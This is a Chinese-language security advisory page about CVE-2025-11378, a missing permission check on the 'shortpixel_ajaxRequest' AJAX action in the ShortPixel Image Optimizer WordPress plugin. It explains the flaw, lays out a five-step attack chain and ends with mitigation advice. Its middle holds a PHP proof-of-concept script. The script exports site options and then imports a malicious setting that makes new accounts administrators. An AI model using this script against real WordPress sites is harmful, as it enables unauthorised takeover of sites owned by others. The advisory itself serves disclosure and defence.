IPBUF安全漏洞报告
English
CVE-2025-11378 CVSS 5.4 中危

CVE-2025-11378:ShortPixel Image Optimizer插件AJAX权限检查缺失漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-11378
漏洞类型
权限提升/未授权数据修改
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ShortPixel Image Optimizer – Optimize Images, Convert WebP & AVIF (WordPress插件)

相关标签

WordPressShortPixel Image Optimizer权限提升缺失能力检查AJAX漏洞未授权数据修改中危漏洞插件安全CVE-2025-11378

漏洞概述

CVE-2025-11378是WordPress插件ShortPixel Image Optimizer(优化图像、转换WebP和AVIF格式)中的一个安全漏洞。该插件在所有6.3.4及以下版本中,其AJAX动作'shortpixel_ajaxRequest'存在缺失能力检查(missing capability check)的问题,导致经过身份验证的攻击者能够未授权地修改网站数据。

根据CVSS 3.1评分体系,该漏洞评分为5.4分,属于中危级别。攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),攻击者仅需具备Contributor(投稿者)级别及以上的访问权限(PR:L)即可发起攻击,无需用户交互(UI:N)。该漏洞对机密性影响为低(C:L),对完整性影响为低(I:L),对可用性无影响(A:N)。

该漏洞由Wordfence安全团队的安全研究员发现并报告。漏洞的核心问题在于插件的AJAX端点没有正确验证用户权限,允许低权限用户执行本应仅限于管理员的操作,包括导出和导入站点选项(site options)。攻击者可以利用此漏洞修改WordPress站点的关键配置选项,从而可能导致网站行为异常、信息泄露甚至进一步的攻击。

该漏洞影响广泛使用ShortPixel Image Optimizer插件的WordPress网站。鉴于该插件用于图像优化,部署在大量追求性能的网站上,因此影响范围较大。建议使用该插件的网站管理员尽快更新到修复版本,以避免潜在的安全风险。

技术细节

该漏洞的技术根源在于ShortPixel Image Optimizer插件的AJAX处理逻辑中缺少适当的能力检查(capability check)。在WordPress中,AJAX请求通过admin-ajax.php处理,插件通常使用wp_ajax_和wp_ajax_nopriv_钩子注册处理函数。对于需要权限的操作,开发者应当在处理函数中调用current_user_can()函数来验证用户是否具备执行该操作的权限。

在ShortPixel Image Optimizer 6.3.4及以下版本中,'shortpixel_ajaxRequest' AJAX动作对应的回调函数没有进行充分的能力验证。这意味着任何已登录的用户(包括Contributor级别的低权限用户)都可以通过构造特定的AJAX请求来调用该端点,执行导出和导入站点选项的操作。

利用方式方面,攻击者首先需要拥有一个Contributor或更高级别的WordPress账户(可通过注册或社工获取)。然后,攻击者构造一个针对admin-ajax.php的POST请求,设置action参数为'shortpixel_ajaxRequest',并附带适当的参数来触发导出或导入功能。由于缺少权限检查,服务器将直接执行该操作,允许攻击者读取或修改网站的配置选项。

成功利用此漏洞后,攻击者可以修改站点选项,可能导致网站配置被篡改,例如修改默认角色、修改关键插件设置等,从而为后续攻击(如权限提升、持久化后门植入等)创造条件。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过WordPress注册功能或社会工程学手段获取一个Contributor(投稿者)级别或更高级别的账户。
STEP 2
步骤2:构造恶意AJAX请求
攻击者向目标站点的admin-ajax.php端点发送POST请求,设置action参数为'shortpixel_ajaxRequest',并附带触发导出或导入功能的参数。
STEP 3
步骤3:绕过权限检查
由于插件缺少对'shortpixel_ajaxRequest'动作的能力检查(capability check),服务器直接执行攻击者的请求,不验证其是否具备管理员权限。
STEP 4
步骤4:导出或导入站点选项
攻击者成功导出站点的敏感配置选项,或导入恶意的选项数据(如修改默认用户角色、修改插件设置等)。
STEP 5
步骤5:利用修改的选项进行进一步攻击
攻击者利用修改后的站点选项进行权限提升、植入后门或其他恶意活动,实现对网站的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-11378 PoC - ShortPixel Image Optimizer Missing Capability Check * Description: Exploits missing capability check on 'shortpixel_ajaxRequest' AJAX action * to export/import site options as authenticated Contributor-level user. * * Usage: php exploit.php <target_url> <wordpress_cookie> */ $target = $argv[1] ?? 'http://target-wordpress-site.com'; $cookie = $argv[2] ?? ''; if (empty($cookie)) { die("Usage: php exploit.php <target_url> <wordpress_cookie>\n"); } // Step 1: Export site options via vulnerable AJAX endpoint $export_url = $target . '/wp-admin/admin-ajax.php'; $export_payload = http_build_query([ 'action' => 'shortpixel_ajaxRequest', 'subaction' => 'export-settings', // Trigger export of site options ]); $ch = curl_init($export_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $export_payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'X-Requested-With: XMLHttpRequest', ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "[+] Export Response:\n" . $response . "\n\n"; // Step 2: Import malicious site options (e.g., change default role to administrator) $malicious_options = [ 'default_role' => 'administrator', // Escalate privileges ]; $import_payload = http_build_query([ 'action' => 'shortpixel_ajaxRequest', 'subaction' => 'import-settings', // Trigger import of site options 'data' => base64_encode(serialize($malicious_options)), ]); $ch = curl_init($export_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $import_payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'X-Requested-With: XMLHttpRequest', ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "[+] Import Response:\n" . $response . "\n"; echo "[!] Site options modified successfully.\n"; ?>

影响范围

ShortPixel Image Optimizer <= 6.3.4

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过修改主题的functions.php文件或使用代码片段插件,移除或限制'shortpixel_ajaxRequest' AJAX动作的注册;2)使用WAF规则阻止针对admin-ajax.php的可疑POST请求;3)暂时禁用ShortPixel Image Optimizer插件,直到可以升级到修复版本;4)限制Contributor级别用户的注册,并审查现有低权限用户的活动日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表